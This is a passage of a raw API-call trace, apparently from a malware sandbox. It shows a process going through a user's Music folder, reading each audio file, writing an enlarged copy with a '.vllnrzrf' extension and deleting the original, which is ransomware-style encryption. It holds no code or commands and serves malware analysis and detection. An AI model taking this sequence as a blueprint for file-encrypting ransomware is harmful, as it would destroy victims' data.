lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\", nBufferLength=0x105, lpBuffer=0x1c04e130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\", lpFilePart=0x0) returned 0x3f [0111.440] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\*.*", lpFindFileData=0x1c04e340 | out: lpFindFileData=0x1c04e340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd69d4200, ftCreationTime.dwHighDateTime=0x1d5e429, ftLastAccessTime.dwLowDateTime=0xa82bc50, ftLastAccessTime.dwHighDateTime=0x1d5e78e, ftLastWriteTime.dwLowDateTime=0xa82bc50, ftLastWriteTime.dwHighDateTime=0x1d5e78e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0111.453] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04e390 | out: lpFindFileData=0x1c04e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd69d4200, ftCreationTime.dwHighDateTime=0x1d5e429, ftLastAccessTime.dwLowDateTime=0xa82bc50, ftLastAccessTime.dwHighDateTime=0x1d5e78e, ftLastWriteTime.dwLowDateTime=0xa82bc50, ftLastWriteTime.dwHighDateTime=0x1d5e78e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.453] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04e390 | out: lpFindFileData=0x1c04e390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19565750, ftCreationTime.dwHighDateTime=0x1d5df0f, ftLastAccessTime.dwLowDateTime=0xd16d34d0, ftLastAccessTime.dwHighDateTime=0x1d5e0c2, ftLastWriteTime.dwLowDateTime=0xd16d34d0, ftLastWriteTime.dwHighDateTime=0x1d5e0c2, nFileSizeHigh=0x0, nFileSizeLow=0x10696, dwReserved0=0x0, dwReserved1=0x0, cFileName="3M3Zcw-gFcWJQoeGJTO.wav", cAlternateFileName="3M3ZCW~1.WAV")) returned 1 [0111.453] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04e390 | out: lpFindFileData=0x1c04e390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe781da60, ftCreationTime.dwHighDateTime=0x1d5dfd6, ftLastAccessTime.dwLowDateTime=0x16bb4880, ftLastAccessTime.dwHighDateTime=0x1d5e7bf, ftLastWriteTime.dwLowDateTime=0x16bb4880, ftLastWriteTime.dwHighDateTime=0x1d5e7bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9TqVSR o_-cXQW_J", cAlternateFileName="9TQVSR~1")) returned 1 [0111.453] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04e390 | out: lpFindFileData=0x1c04e390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd683f0c0, ftCreationTime.dwHighDateTime=0x1d5e280, ftLastAccessTime.dwLowDateTime=0x93b8d270, ftLastAccessTime.dwHighDateTime=0x1d5de79, ftLastWriteTime.dwLowDateTime=0x93b8d270, ftLastWriteTime.dwHighDateTime=0x1d5de79, nFileSizeHigh=0x0, nFileSizeLow=0x12c5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CkwJBoIT0cORasvMqY.mp3", cAlternateFileName="CKWJBO~1.MP3")) returned 1 [0111.454] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04e390 | out: lpFindFileData=0x1c04e390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2946d150, ftCreationTime.dwHighDateTime=0x1d5d7bf, ftLastAccessTime.dwLowDateTime=0xbb09ad90, ftLastAccessTime.dwHighDateTime=0x1d5dc6c, ftLastWriteTime.dwLowDateTime=0xbb09ad90, ftLastWriteTime.dwHighDateTime=0x1d5dc6c, nFileSizeHigh=0x0, nFileSizeLow=0x15c8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HLz iNJNAO.mp3", cAlternateFileName="HLZINJ~1.MP3")) returned 1 [0111.454] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04e390 | out: lpFindFileData=0x1c04e390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca39c00, ftCreationTime.dwHighDateTime=0x1d5dc74, ftLastAccessTime.dwLowDateTime=0x24be6bc0, ftLastAccessTime.dwHighDateTime=0x1d5d7fb, ftLastWriteTime.dwLowDateTime=0x24be6bc0, ftLastWriteTime.dwHighDateTime=0x1d5d7fb, nFileSizeHigh=0x0, nFileSizeLow=0xefe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMG8CWg2GPpV.m4a", cAlternateFileName="IMG8CW~1.M4A")) returned 1 [0111.454] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04e390 | out: lpFindFileData=0x1c04e390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d1eb760, ftCreationTime.dwHighDateTime=0x1d5da35, ftLastAccessTime.dwLowDateTime=0xb413f980, ftLastAccessTime.dwHighDateTime=0x1d5dec1, ftLastWriteTime.dwLowDateTime=0xb413f980, ftLastWriteTime.dwHighDateTime=0x1d5dec1, nFileSizeHigh=0x0, nFileSizeLow=0x11407, dwReserved0=0x0, dwReserved1=0x0, cFileName="pfW0am0QS.mp3", cAlternateFileName="PFW0AM~1.MP3")) returned 1 [0111.454] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04e390 | out: lpFindFileData=0x1c04e390*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0111.454] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0111.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e5f0) returned 1 [0111.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e5b0) returned 1 [0111.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav", lpFilePart=0x0) returned 0x56 [0111.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav", lpFilePart=0x0) returned 0x56 [0111.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav", lpFilePart=0x0) returned 0x56 [0111.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e590) returned 1 [0111.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\3m3zcw-gfcwjqoegjto.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0111.456] GetFileType (hFile=0x324) returned 0x1 [0111.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e500) returned 1 [0111.456] GetFileType (hFile=0x324) returned 0x1 [0111.456] GetFileSize (in: hFile=0x324, lpFileSizeHigh=0x1c04e728 | out: lpFileSizeHigh=0x1c04e728*=0x0) returned 0x10696 [0111.456] ReadFile (in: hFile=0x324, lpBuffer=0x22b18d0, nNumberOfBytesToRead=0x10696, lpNumberOfBytesRead=0x1c04e658, lpOverlapped=0x0 | out: lpBuffer=0x22b18d0*, lpNumberOfBytesRead=0x1c04e658*=0x10696, lpOverlapped=0x0) returned 1 [0111.458] CloseHandle (hObject=0x324) returned 1 [0111.471] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav.vllnrzrf", lpFilePart=0x0) returned 0x5f [0111.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e590) returned 1 [0111.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\3m3zcw-gfcwjqoegjto.wav.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0111.472] GetFileType (hFile=0x324) returned 0x1 [0111.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e500) returned 1 [0111.472] GetFileType (hFile=0x324) returned 0x1 [0111.472] WriteFile (in: hFile=0x324, lpBuffer=0x230cf88*, nNumberOfBytesToWrite=0x10896, lpNumberOfBytesWritten=0x1c04e6b8, lpOverlapped=0x0 | out: lpBuffer=0x230cf88*, lpNumberOfBytesWritten=0x1c04e6b8*=0x10896, lpOverlapped=0x0) returned 1 [0111.478] CloseHandle (hObject=0x324) returned 1 [0111.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav", lpFilePart=0x0) returned 0x56 [0111.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav", nBufferLength=0x105, lpBuffer=0x1c04e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav", lpFilePart=0x0) returned 0x56 [0111.493] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\3M3Zcw-gFcWJQoeGJTO.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\3m3zcw-gfcwjqoegjto.wav")) returned 1 [0111.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3", lpFilePart=0x0) returned 0x55 [0111.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3", lpFilePart=0x0) returned 0x55 [0111.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3", lpFilePart=0x0) returned 0x55 [0111.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e590) returned 1 [0111.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\ckwjboit0corasvmqy.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0111.497] GetFileType (hFile=0x324) returned 0x1 [0111.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e500) returned 1 [0111.497] GetFileType (hFile=0x324) returned 0x1 [0111.497] GetFileSize (in: hFile=0x324, lpFileSizeHigh=0x1c04e728 | out: lpFileSizeHigh=0x1c04e728*=0x0) returned 0x12c5a [0111.497] ReadFile (in: hFile=0x324, lpBuffer=0x2321a60, nNumberOfBytesToRead=0x12c5a, lpNumberOfBytesRead=0x1c04e658, lpOverlapped=0x0 | out: lpBuffer=0x2321a60*, lpNumberOfBytesRead=0x1c04e658*=0x12c5a, lpOverlapped=0x0) returned 1 [0111.498] CloseHandle (hObject=0x324) returned 1 [0111.509] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3.vllnrzrf", lpFilePart=0x0) returned 0x5e [0111.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e590) returned 1 [0111.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\ckwjboit0corasvmqy.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0111.510] GetFileType (hFile=0x324) returned 0x1 [0111.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e500) returned 1 [0111.510] GetFileType (hFile=0x324) returned 0x1 [0111.510] WriteFile (in: hFile=0x324, lpBuffer=0x2389c18*, nNumberOfBytesToWrite=0x12e5a, lpNumberOfBytesWritten=0x1c04e6b8, lpOverlapped=0x0 | out: lpBuffer=0x2389c18*, lpNumberOfBytesWritten=0x1c04e6b8*=0x12e5a, lpOverlapped=0x0) returned 1 [0111.514] CloseHandle (hObject=0x324) returned 1 [0111.517] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3", lpFilePart=0x0) returned 0x55 [0111.517] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3", nBufferLength=0x105, lpBuffer=0x1c04e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3", lpFilePart=0x0) returned 0x55 [0111.517] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\CkwJBoIT0cORasvMqY.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\ckwjboit0corasvmqy.mp3")) returned 1 [0111.538] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3", lpFilePart=0x0) returned 0x4d [0111.539] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3", lpFilePart=0x0) returned 0x4d [0111.539] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3", lpFilePart=0x0) returned 0x4d [0111.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e590) returned 1 [0111.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\hlz injnao.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0111.539] GetFileType (hFile=0x324) returned 0x1 [0111.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e500) returned 1 [0111.539] GetFileType (hFile=0x324) returned 0x1 [0111.539] GetFileSize (in: hFile=0x324, lpFileSizeHigh=0x1c04e728 | out: lpFileSizeHigh=0x1c04e728*=0x0) returned 0x15c8f [0111.540] ReadFile (in: hFile=0x324, lpBuffer=0x12459210, nNumberOfBytesToRead=0x15c8f, lpNumberOfBytesRead=0x1c04e658, lpOverlapped=0x0 | out: lpBuffer=0x12459210*, lpNumberOfBytesRead=0x1c04e658*=0x15c8f, lpOverlapped=0x0) returned 1 [0111.541] CloseHandle (hObject=0x324) returned 1 [0111.556] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3.vllnrzrf", lpFilePart=0x0) returned 0x56 [0111.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e590) returned 1 [0111.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\hlz injnao.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0111.557] GetFileType (hFile=0x324) returned 0x1 [0111.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e500) returned 1 [0111.557] GetFileType (hFile=0x324) returned 0x1 [0111.557] WriteFile (in: hFile=0x324, lpBuffer=0x124dbe48*, nNumberOfBytesToWrite=0x15e8f, lpNumberOfBytesWritten=0x1c04e6b8, lpOverlapped=0x0 | out: lpBuffer=0x124dbe48*, lpNumberOfBytesWritten=0x1c04e6b8*=0x15e8f, lpOverlapped=0x0) returned 1 [0111.560] CloseHandle (hObject=0x324) returned 1 [0111.562] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3", lpFilePart=0x0) returned 0x4d [0111.562] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3", nBufferLength=0x105, lpBuffer=0x1c04e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3", lpFilePart=0x0) returned 0x4d [0111.562] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\HLz iNJNAO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\hlz injnao.mp3")) returned 1 [0111.565] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a", lpFilePart=0x0) returned 0x4f [0111.565] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a", lpFilePart=0x0) returned 0x4f [0111.565] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a", lpFilePart=0x0) returned 0x4f [0111.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e590) returned 1 [0111.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\img8cwg2gppv.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0111.566] GetFileType (hFile=0x324) returned 0x1 [0111.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e500) returned 1 [0111.566] GetFileType (hFile=0x324) returned 0x1 [0111.566] GetFileSize (in: hFile=0x324, lpFileSizeHigh=0x1c04e728 | out: lpFileSizeHigh=0x1c04e728*=0x0) returned 0xefe0 [0111.566] ReadFile (in: hFile=0x324, lpBuffer=0x23bf6a0, nNumberOfBytesToRead=0xefe0, lpNumberOfBytesRead=0x1c04e658, lpOverlapped=0x0 | out: lpBuffer=0x23bf6a0*, lpNumberOfBytesRead=0x1c04e658*=0xefe0, lpOverlapped=0x0) returned 1 [0111.567] CloseHandle (hObject=0x324) returned 1 [0111.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a.vllnrzrf", lpFilePart=0x0) returned 0x58 [0111.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e590) returned 1 [0111.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\img8cwg2gppv.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0111.581] GetFileType (hFile=0x324) returned 0x1 [0111.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e500) returned 1 [0111.581] GetFileType (hFile=0x324) returned 0x1 [0111.581] WriteFile (in: hFile=0x324, lpBuffer=0x2413328*, nNumberOfBytesToWrite=0xf1e0, lpNumberOfBytesWritten=0x1c04e6b8, lpOverlapped=0x0 | out: lpBuffer=0x2413328*, lpNumberOfBytesWritten=0x1c04e6b8*=0xf1e0, lpOverlapped=0x0) returned 1 [0111.584] CloseHandle (hObject=0x324) returned 1 [0111.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a", lpFilePart=0x0) returned 0x4f [0111.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a", nBufferLength=0x105, lpBuffer=0x1c04e250, 